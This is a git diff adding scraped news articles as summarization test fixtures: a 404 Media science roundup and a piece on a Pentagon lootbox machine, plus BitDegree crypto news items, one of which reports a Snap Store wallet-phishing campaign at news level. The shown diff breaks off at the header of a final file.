in Ecology and Evolution. Here’s one way to get people to care about biodiversity loss: tell them that the mosquitos are out for their blood. In a new study, scientists captured and studied 145 engorged mosquitoes from a deforested area in Brazil, which revealed a growing reliance on human blood. The results suggest that mosquitoes are more likely to seek out human blood in areas experiencing biodiversity loss. “In the present study, human blood meals were detected in nine species” including mosquitoes that “spread dengue, yellow fever, Zika, and chikungunya,” said researchers led by Dálete Cássia Vieira Alves of the Federal Rural University of Rio de Janeiro. “The results revealed a clear tendency for the captured mosquito species to feed predominantly on humans.” “Deforestation reduces local biodiversity, causing mosquitoes, including vectors of pathogenic agents, to disperse and seek alternative food sources…such as humans,” the team said. In other words, a future of biodiversity collapse is going to be buzzy, and itchy, and deadly, given that mosquitoes are notoriously the most dangerous animals to humans—killing roughly a million people per year—due to their capacity to spread pathogens. It would be great if we could all conserve wildlife for solely altruistic reasons, but a little nightmare fuel is useful in small doses. Same-sex sexual behavior plays many roles in primates Coxshall, Chloë et al. “Ecological and social pressures drive same-sex sexual behaviour in non-human primates.” Nature Ecology & Evolution. Same-sex sexual behavior (SSB) is common in nature—documented in more than 1,500 animals—especially among socially complex species like primates. Now, scientists have presented a comprehensive review of these sexual bonds in dozens of non-human primates, which revealed that the interactions are context-dependent and may serve a variety of evolutionary functions. “In baboons, for example, females form affiliative networks, through grooming and possibly SSB, to manage group tension, especially during unstable periods such as hierarchical shifts,” said researchers led by Chloë Coxshall of Imperial College London. “Male rhesus macaques use SSB to navigate aggression and shifting dominance by forming coalitions. Those engaging in SSB are more likely to ally and support each other in competition.” While the study focused on non-human primates, the team also speculated about the possible evolutionary links between SSB in humans and non-human primates, but warned that the study “does not address human sexual orientation, identity or lived experience.” “While acknowledging that cultural biases have historically shaped how SSB is reported in animals, we hope this study encourages further research into its evolutionary and social roles in primates at large,” the team concluded. Don’t be deceived by the asexual yams Chen, Zhi and Chomicki, Guillaume et al. “Berry Batesian mimicry enables bird dispersal of asexual bulbils in a yam.” Proceedings of the National Academy of Sciences. Even in all of its diverse configurations, sex is simply not everyone’s bag. Lots of species have opted to eschew it entirely in favor of asexually cloning themselves, such as the Asian yam Dioscorea melanophyma. This yam has evolved a clever technique to disperse its version of “bulbils,” the asexual version of seeds, by dressing them up like berries so that birds will eat them, reports a new study. This helps the plant spread its clones far and wide without the need for sexual reproduction. “We show that the yam Dioscorea melanophyma—which has lost sexual reproduction—evolved black, glossy bulbils that mimic co-occurring black berries and entice frugivorous birds to ingest and disperse them,” said researchers co-led by Zhi Chen of the Kunming Institute of Botany at the Chinese Academy of Science and Guillaume Chomicki of Durham University. The false berry “bulbils” of the yam. Image: Gao Chen The team found that birds preferred real berries “yet they significantly consumed bulbils too” and “could not visually discriminate bulbils from berries.” In this way, the yams use “mimicry to deceive birds and achieve longer dispersal distance,” the study concludes. It’s amazing how many adaptive strategies boil down to pranking one’s fellow Earthlings. So if you’re a bird, beware the sham yam yums. And if you are looking to name a band, the Asexual Yams is officially out there as an option. Thanks for reading! See you next week. +============== diff --git a/tests/summarization/https___www.404media.co_theres-a-lootbox-with-rare-pokemon-cards-sitting-in-the-pentagon-food-court_.txt b/tests/summarization/https___www.404media.co_theres-a-lootbox-with-rare-pokemon-cards-sitting-in-the-pentagon-food-court_.txt new file mode 100644 index 0000000..c881220 --- /dev/null +++ b/tests/summarization/https___www.404media.co_theres-a-lootbox-with-rare-pokemon-cards-sitting-in-the-pentagon-food-court_.txt @@ -0,0 +1,2 @@ +404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. It’s possible to win a gem mint Surging Sparks Pikachu EX Pokémon card worth as much as $840 from a vending machine in the Pentagon food court. Thanks to a company called Lucky Box Vending, anyone passing through the center of American military power can pay to win a piece of randomized memorabilia from a machine dispensing collectibles. On Christmas Eve, a company called Lucky Box announced it had installed one of its vending machines at the Pentagon in a now-deleted post on Threads. “A place built on legacy, leadership, and history—now experiencing the thrill of Lucky Box firsthand,” the post said. “This is a milestone moment for Lucky Box and we’re excited for this opportunity. Nostalgia. Pure Excitement.” A Lucky Box is a kind of gacha machine or lootbox, a vending machine that dispenses random prizes for cash. A person puts in money and the machine spits out a random collectible. Customers pick a “type” of collectible they want—typically either a rare Pokémon card, sports card, or sports jersey—insert money and get a random item. The cost of a spin on the Lucky Box varies from location to location, but it’s typically somewhere around $100 to $200. Pictures and advertisements of the Pentagon Lucky Box don’t tell us how much a box cost in the nation’s capitol and the company did not respond to 404 Media’s request for comment. Most of the cards and jerseys inside a Lucky Box vending machine are only worth a few dollars, but the company promises that every machine has a few of what it calls “holy grail” items. The Pentagon Lucky Box had a picture of a gem mint 1st edition Charizard Pokémon card on the side of it, a card worth more than $100,000. The company’s social media feed is full of people opening items like a CGC graded perfect 10 1st edition Venusaur shadowless holo Pokémon card (worth around $14,000) or a 2023 Mookie Betts rookie card. Most people, however, don’t win the big prizes. Lucky Box vending machines are scattered across the country and mostly installed in malls. According to the store locator on its website, more than 20 of the machines are in Las Vegas. Which makes sense, because Lucky Boxes are a kind of gambling. These types of gacha machines are wildly popular in Japan and other countries in Southeast Asia. They’ve seen an uptick in popularity in the US in the past few years, driven by loosening restrictions on gambling and pop culture crazes such as Labubu. Task & Purpose first reported that the Lucky Box had been in place since December 23, 2025. Pentagon spokesperson Susan Gough told 404 Media that, as of this writing, the Lucky Box vending machine was still installed in the Pentagon’s main food court. Someone took pictures of the thing and posted them to the r/army on Monday. From there, the pictures made it onto most of the major military subreddits and various Instagram accounts like USArmyWTF. After Task & Purpose reported on the presence of the Lucky Box at the Pentagon, Lucky Box deleted any mention of the location from its social media and the Pentagon location is not currently listed on the company’s store locator. But it is, according to Gough, still there. In gaming, the virtual versions of these loot boxes are frowned upon. Seven years ago, games like Star Wars: Battlefront II were at the center of a controversy around similar mechanics. At the time, it was common for video games to sell loot boxes to users for a few bucks. This culminated in an FTC investigation. A year ago, the developers of Genshin Impact agreed to pay a $20 million fine for selling loot boxes to teens under 16 without parental consent.The practice never went away in video games, but most major publishers backed off the practice in non-sports titles. Now, almost a decade later, the lootboxes have spread into real life and one of them is in the Pentagon. 404 Media is an independent website whose work is written, reported, and owned by human journalists. Our intended audience is real people, not AI scrapers, bots, or a search algorithm. Become a paid subscriber here for access to all of our articles ad-free and bonus content. About the author Matthew Gault is a writer covering weird tech, nuclear war, and video games. He’s worked for Reuters, Motherboard, and the New York Times. More from Matthew Gault +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_aave-hands-lens-control-to-mask-network-refocuses-on-defi.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_aave-hands-lens-control-to-mask-network-refocuses-on-defi.txt new file mode 100644 index 0000000..b0a12bb --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_aave-hands-lens-control-to-mask-network-refocuses-on-defi.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! Aave AAVE $157.38 , a decentralized finance (DeFi) protocol, has handed over the leadership of its social protocol, Lens, to Mask Network. The decision shifts responsibility for building user-facing applications to Mask, while Aave keeps its focus on decentralized finance. The update was confirmed by both Lens and Aave’s founder, Stani Kulechov. In a post on X, Kulechov said Aave will now provide technical guidance rather than lead development. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What is NEO in Crypto? Chinese Ethereum Explained (ANIMATED) SUBSCRIBE ON YOUTUBE Mask Network, known for adding blockchain tools to social and messaging apps, will guide Lens through its next phase. It will take charge of product planning, user experience, and daily operations for applications built on the protocol. These include social platforms like Orb, as well as other projects that use Lens to connect users via on-chain profiles. Although the transition was described as a change in "stewardship", both teams clarified that it was not a sale or ownership transfer. Its main parts, such as the social graph, profiles, follows, and smart contracts, will stay accessible to anyone who wants to build on them. There is no sign of a transfer involving governance, intellectual property, or treasury assets. Aave’s role will be limited to providing protocol-level advice, while Mask Network will handle everything related to the user side and app development. Recently, Chainlink announced plans to bring more of the US stock market onto blockchain networks. How? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_bhutan-to-launch-sei-network-validator-in-q1-blockchain-push.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_bhutan-to-launch-sei-network-validator-in-q1-blockchain-push.txt new file mode 100644 index 0000000..fec4fd3 --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_bhutan-to-launch-sei-network-validator-in-q1-blockchain-push.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! Bhutan has announced plans to begin operating a Sei Network validator in the first quarter. According to a press release published on January 20, the project is being carried out through a partnership between the Sei Development Foundation and Druk Holding and Investments (DHI), the country’s main sovereign wealth fund. DHI’s technology division will oversee the setup and operation of the validator. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What Are Flash Loans? TOP Ways to Make Passive Income Explained SUBSCRIBE ON YOUTUBE Phuntsho Namgay, who heads DHI’s Innovation and Technology Department, said the organization intends to continue working with the Sei Development Foundation to explore additional blockchain-related opportunities aligned with Bhutan’s modernization goals. Namgay stated, "This collaboration marks an exciting step toward strengthening Bhutan’s role in global blockchain innovation while unlocking new pathways for data valuation, scientific advancement, and financial technology". Eleanor Davies, the Sei Development Foundation’s science and innovation lead, said the collaboration extends beyond validator deployment. She noted that future initiatives could focus on tokenization, digital payments, and identity systems. She said, “Our collaboration is a significant investment in national blockchain adoption, further expands Sei’s global validator footprint, and will set the stage for us to partner on innovative projects like payments, tokenization, and personal identification into the future". Bhutan has announced its intention to dedicate 10,000 Bitcoin BTC $89,275.30 from its reserves to fund the establishment of the Gelephu Mindfulness City (GMC). What is it? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_bitdegree-rolls-out-latest-mission-exploring-global-money-transfers-in-brazil.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_bitdegree-rolls-out-latest-mission-exploring-global-money-transfers-in-brazil.txt new file mode 100644 index 0000000..7347c0c --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_bitdegree-rolls-out-latest-mission-exploring-global-money-transfers-in-brazil.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! BitDegree, the leading platform for Web3 education, has launched its latest Mission titled Global Money Transfers: Brazil Edition. Participants can explore the best ways to send money to Brazil and earn up to 1,700 Bits for completing all rounds of the Mission. The Mission can be retaken, but participants can receive Bits and Degrees only on their first attempt. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What Are Flash Loans? TOP Ways to Make Passive Income Explained SUBSCRIBE ON YOUTUBE Notably, the Bits collected can be used to increase participants’ share in the BitDegree x Ogvio Airdrop, which features a $20,000 prize pool in crypto. The more Bits participants have, the larger their share of the prize pool will be. Once the BitDegree x Ogvio Airdrop concludes on February 8, 2026, participants’ collected Bits will be converted into their share of the prize pool. To earn more Bits, users can complete more Missions, refer friends, and finish bonus tasks. Previously, BitDegree launched the Win $25K With Figure’s Democratized Prime Mission, where participants could earn up to 2,500 Bits and additional rewards. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_circle-teams-up-with-un-to-modernize-38-billion-in-global-aid-transfers.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_circle-teams-up-with-un-to-modernize-38-billion-in-global-aid-transfers.txt new file mode 100644 index 0000000..c6c7618 --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_circle-teams-up-with-un-to-modernize-38-billion-in-global-aid-transfers.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! The Circle Foundation will support the United Nations Digital Hub of Treasury Solutions (DHoTS) to accelerate the flow of aid funds across the UN ecosystem. According to a press release, this offer was presented during a World Economic Forum session in Davos. Legacy systems that handle over $38 billion in aid each year often lag and add costs. This is not the first time Circle worked with the refugee agency. In 2022, they used USDC USDC $1.00 to deliver aid to displaced Ukrainians. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What is a Perpetual Contract in Crypto? (Definition + Example) SUBSCRIBE ON YOUTUBE The new grant's goal is to improve the DHoTS platform's ability to send funds more quickly, improve recordkeeping, and reduce overhead. It marks the Circle Foundation's first global initiative, backed by a 1% equity pledge from Circle Internet Group, Inc. The Circle Foundation's donation will support upgrades in payment infrastructure across UN bodies. It is designed to reduce handling costs and provide clearer logs, so donors know how their funds are spent. Funds will go toward modern tools that let agencies access global banking systems more quickly and reliably. Elisabeth Carpenter, Founding Chair of Circle Foundation, stated, "By helping DHoTS integrate digital financial infrastructure, including regulated stablecoins with embedded regulatory financial risk management, compliance, and integrated AI-enabled controls, we can help make aid faster, more transparent, and more accountable across the entire UN system". Recently, Chainlink LINK $12.28 announced plans to bring more of the US stock market onto blockchain networks. How? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_ethereums-vitalik-buterin-shifts-entire-online-activity-to-firefly-in-2026.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_ethereums-vitalik-buterin-shifts-entire-online-activity-to-firefly-in-2026.txt new file mode 100644 index 0000000..e52e44a --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_ethereums-vitalik-buterin-shifts-entire-online-activity-to-firefly-in-2026.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! Ethereum ETH $2,951.90 co-founder Vitalik Buterin plans to dedicate 2026 to developing decentralized social media. He noted that true progress in online communication depends on building networks powered by decentralized data systems. He also stated that such an approach creates healthy competition and platforms that reflect what users actually value, rather than chasing engagement numbers. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What Is Tether? (USDT SIMPLY Explained With Animations) SUBSCRIBE ON YOUTUBE In a post on X on January 21, Buterin shared that he has already shifted most of his online activity to decentralized platforms this year. Every post he has made or read so far in 2026 has been through Firefly, a platform that connects to X, Lens, Farcaster, and Bluesky. Buterin wrote, “If we want a better society, we need better mass communication tools". He explained that decentralization allows multiple social apps to run on the same open data layer. However, Buterin noted that these projects often reward status and quick profits rather than improving the quality of conversations. According to him, these SocialFi attempts have failed because they prioritize token gains over building meaningful systems. As a comparison, he mentioned creator-focused models like Substack, which he believes better align incentives with the creation of useful, high-quality work. Buterin urged the community to spend more time in decentralized ecosystems. He described them as the next step away from the “single centralized info warzone” that dominates today’s internet. Recently, Buterin urged developers to rethink how decentralized autonomous organizations (DAOs) are built. What did he say? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_iran-buys-507-million-in-tether-to-defend-rial-says-elliptic.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_iran-buys-507-million-in-tether-to-defend-rial-says-elliptic.txt new file mode 100644 index 0000000..5af5436 --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_iran-buys-507-million-in-tether-to-defend-rial-says-elliptic.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! Blockchain analytics firm Elliptic has reported that the Central Bank of Iran (CBI) purchased about $507 million worth of Tether’s USDT USDT $1.00 . According to Elliptic’s report, the CBI began collecting USDT during a time of economic instability. The report stated, "The CBI's accumulation of USDT began in earnest during a period of extreme economic volatility". Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! How to Buy Crypto SAFELY With a Credit Card (Animated) SUBSCRIBE ON YOUTUBE Over an eight-month period, the rial’s worth dropped by half compared to the US dollar. To slow this decline, the bank may have started using its Tether holdings to buy back rials on the Iranian crypto exchange Nobitex. Elliptic’s data shows that the Iranian central bank likely used Nobitex, one of the country’s largest crypto exchanges, to handle its USDT transactions. The partnership continued until June 2025, when Nobitex experienced a security breach. After that, the CBI changed its approach before exchanging them for other assets and shifting them across several blockchains and trading platforms. They transferred their stablecoins “to a cross-chain bridge service to move the funds from TRON TRX $0.3009 to Ethereum ETH $2,950.17 ". The report also noted that Tether can freeze wallets holding USDT. Elliptic cited an incident from June 2025 when “several wallets linked to the CBI were blacklisted", which froze around $37 million worth of stablecoins. Recently, a Chainalysis report showed that Iran’s cryptocurrency activity reached about $7.8 billion in 2025. How? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_sec-reviews-fresh-calls-for-defi-and-self-custody-clarity.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_sec-reviews-fresh-calls-for-defi-and-self-custody-clarity.txt new file mode 100644 index 0000000..c6e8c1a --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_sec-reviews-fresh-calls-for-defi-and-self-custody-clarity.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! The US Securities and Exchange Commission (SEC) has received two new public comments through its Crypto Task Force page. Both focus on how digital asset ownership and decentralized finance (DeFi) trading should be regulated in the future. One submission was sent by “DK Willard", which represents concerns from Louisiana users. The other came from the Blockchain Association Trading Firm Working Group, which deals with tokenized equity markets and regulatory definitions for dealers. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What is Basic Attention Token (BAT)? Brave Browser EASILY Explained SUBSCRIBE ON YOUTUBE The Louisiana comment refers to House Bill 488, a state law that confirms residents’ right to keep control of their digital assets. It emphasizes that any upcoming federal crypto laws should maintain clear registration standards, ensure transparency, and uphold rules that prevent fraud and manipulation. It also warns that some federal proposals could create loopholes that allow developers and platforms to avoid key investor protection obligations. Meanwhile, the Blockchain Association’s letter asks the SEC to clarify how dealer rules apply to firms active in tokenized and DeFi markets. The group argues that companies trading only on their own behalf, without managing client funds or acting as agents, should not automatically be classified as dealers under the Exchange Act. The letter adds that today’s broker-dealer rules were built for traditional financial systems and may not suit blockchain environments that rely on smart contracts for trade settlement. Recently, SEC Chair Paul Atkins spoke in a Fox Business interview about claims that Venezuela might hold around $60 billion in Bitcoin BTC $89,275.30 . What did he say? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_slowmist-uncovers-snap-store-exploit-targeting-crypto-users.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_slowmist-uncovers-snap-store-exploit-targeting-crypto-users.txt new file mode 100644 index 0000000..1ce85d8 --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_slowmist-uncovers-snap-store-exploit-targeting-crypto-users.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! Blockchain security company SlowMist has reported a new security issue affecting Linux users. Attackers are using trusted apps on the Snap Store to collect crypto wallet recovery phrases and steal funds. According to SlowMist’s chief information security officer, 23pds, the attackers are taking over Snap Store publisher accounts by registering expired domains. These accounts, once controlled, are then used to push fake updates through official channels. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What is a Crypto Airdrop & How to Get FREE Coins? (Animated) SUBSCRIBE ON YOUTUBE The fake apps are made to look like real crypto wallets, including Exodus, Ledger Live, and Trust Wallet. When users install or update the app, they are asked to enter their wallet recovery phrases. The attackers then capture these details and gain access to the users’ funds. SlowMist explained that the attackers monitor developer accounts linked to domains that have expired but were once legitimate. Once the domain becomes available, they register it and use email addresses tied to that domain to reset the account password. After gaining access, the attackers can add harmful code through normal software updates instead of creating new apps, which helps them avoid suspicion. SlowMist confirmed that two publisher domains, “storewise[.]tech" and “vagueentertainment[.]com", have already been compromised. CertiK traced about $63 million in Tornado Cash deposits linked to the $282 million crypto wallet hack on January 10. What did the blockchain security firm say? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_solana-mobile-rewards-seeker-owners-with-26-million-skr-airdrop.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_solana-mobile-rewards-seeker-owners-with-26-million-skr-airdrop.txt new file mode 100644 index 0000000..8ab44ed --- /dev/null +++ b/tests/summarization/https___www.bitdegree.org_crypto_news_solana-mobile-rewards-seeker-owners-with-26-million-skr-airdrop.txt @@ -0,0 +1,2 @@ +Stop overpaying - start transferring money with Ogvio. Sign up, invite friends & grab Rewards now! 🎁 Enjoyed this article? Share it with your friends! Solana Mobile, a company under Solana SOL $128.12 Labs, has started a new token airdrop for people who own its Solana Seeker smartphone. The announcement was made on X, where the company confirmed that the SKR token is now live. Owners of the Seeker phone have 90 days to claim their tokens. After claiming, users can choose to stake SKR through Solana Mobile’s staking feature to earn extra rewards. Did you know? Want to get smarter & wealthier with crypto? Subscribe - We publish new crypto explainer videos every week! What Is a Neobank (And Should You Use It)? SUBSCRIBE ON YOUTUBE The distribution includes about 2 billion SKR tokens, worth around $26.6 million when announced. It covers more than 100,000 users and 188 developers. The SKR token is the main token for the Solana Mobile ecosystem. It has a total supply of 10 billion tokens and follows the SPL standard used across the Solana blockchain. Within the platform, SKR is used for both governance and rewards. Solana Mobile said the goal of SKR is to motivate participation from users, support platform security, and reward both developers and contributors. It also helps users access certain features and services within the Solana Mobile system. According to the company, users who stake SKR will start earning rewards right away. The process has no commission fees at launch, and inflation events occur every 48 hours. Solana Mobile said, "Staked SKR starts earning immediately, with inflation events every 48 hours and 0% commission upon launch". Meanwhile, The non-fungible token (NFT) martketplace Magic Eden will begin sharing a part of its income with holders of the ME token. What did the company say? Read the full story. Aaron S. Editor-In-Chief Having completed a Master’s degree in Economics, Politics, and Cultures of the East Asia region, Aaron has written scientific papers analyzing the differences between Western and Collective forms of capitalism in the post-World War II era. With close to a decade of experience in the FinTech industry, Aaron understands all of the biggest issues and struggles that crypto enthusiasts face. He’s a passionate analyst who is concerned with data-driven and fact-based content, as well as that which speaks to both Web3 natives and industry newcomers. Aaron is the go-to person for everything and anything related to digital currencies. With a huge passion for blockchain & Web3 education, Aaron strives to transform the space as we know it, and make it more approachable to complete beginners. Aaron has been quoted by multiple established outlets, and is a published author himself. Even during his free time, he enjoys researching the market trends, and looking for the next supernova. Full Bio See Our Experts Thirsty for the Hottest Crypto News in Your Inbox? Get crypto-smart in just 3 mins a day with our newsletter! Join 120,000+ subscribers & get a juicy Daily Squeeze of the hottest, jargon-free news and insights straight to your inbox. Subscribe +============== diff --git a/tests/summarization/https___www.bitdegree.org_crypto_news_what-ethereum-does-that-bitcoin-cant.txt b/tests/summarization/https___www.bitdegree.org_crypto_news_what-ethereum-does-that-bitcoin-cant.txt new file mode 100644 index 0000000..894e9ac --- /dev/null +++ 